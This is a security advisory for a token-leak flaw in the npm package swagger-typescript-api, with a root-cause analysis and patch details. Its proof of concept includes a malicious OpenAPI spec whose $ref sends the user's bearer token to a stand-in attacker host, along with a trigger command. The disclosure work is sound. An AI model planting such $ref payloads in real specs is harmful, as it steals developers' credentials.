high · 7.4CVE-2026-54660Jul 29, 2026

CVE-2026-54660: swagger-typescript-api Authorization Token Exfiltration via Cross-Origin $ref

Rohit Hatagale
AI Security Researcher, SecureLayer7

When you pass --authorizationToken to swagger-typescript-api to fetch a private spec, the generator blindly forwards that bearer token to every URL it finds in $ref fields, including…

Packageswagger-typescript-api
Ecosystemnpm
Affected<= 13.12.1
Fixed in13.12.2
CVE-2026-54660: swagger-typescript-api Authorization Token Exfiltration via Cross-Origin $ref

The problem

swagger-typescript-api versions up to and including 13.12.1 attach the user-supplied Authorization header to every HTTP request made while resolving external $ref URLs in a spec. There is no check that the target URL shares an origin with the original spec URL.

This means a spec author (or anyone who can modify a pinned spec) can embed a $ref pointing at an attacker-controlled host. The generator dutifully fetches it, handing over the full bearer token. The token is typically high-value: a GitHub PAT, an OAuth bearer, a CI service-account credential, or an enterprise SSO token.

Disclosure is equivalent to credential theft.

Proof of concept

A working proof-of-concept for CVE-2026-54660 in swagger-typescript-api, with the exact payload below.

javascript
// Malicious spec served from http://127.0.0.1:<spec-port>/spec.json
{
  "openapi": "3.0.0",
  "info": { "title": "TokenLeak-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://attacker.example/EXFIL_ENDPOINT/data.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

// Trigger: run the generator against the spec with a token
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
  httpClientType: 'fetch'
}))"

// What attacker.example receives:
// GET /EXFIL_ENDPOINT/data.json HTTP/1.1
// Host: attacker.example
// Authorization: Bearer USER_GITHUB_PAT_super_secret_xyz123

The root cause is in src/resolved-swagger-schema.ts. The private method getRemoteRequestHeaders() builds an Authorization header unconditionally from this.config.authorizationToken, and fetchRemoteSchemaDocument passes those headers to every fetch() call made while warming the remote schema cache.

The patch adds an isSameOrigin(a, b) helper that compares protocol and host of two URLs using the WHATWG URL API. getRemoteRequestHeaders is updated to accept the target URL and only include Authorization when the target shares an origin with this.config.url.

The call site in fetchRemoteSchemaDocument is updated to pass the destination URL. This mirrors the same-origin credential model browsers enforce on credentialed fetch requests by default.

CWEs: CWE-200 (Exposure of Sensitive Information), CWE-201 (Insertion of Sensitive Information Into Sent Data), CWE-522 (Insufficiently Protected Credentials), CWE-918 (SSRF).

The fix

Upgrade to swagger-typescript-api 13.12.2, released in commit 306d59a (PR #1779). The fix enforces a same-origin check before forwarding Authorization headers to any $ref target URL. Cross-origin $ref fetches are allowed but receive no credentials; same-origin $refs continue to authenticate normally.

The release also adds private-IP / loopback blocking and manual redirect re-validation as complementary SSRF hardening.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4][5]

Related research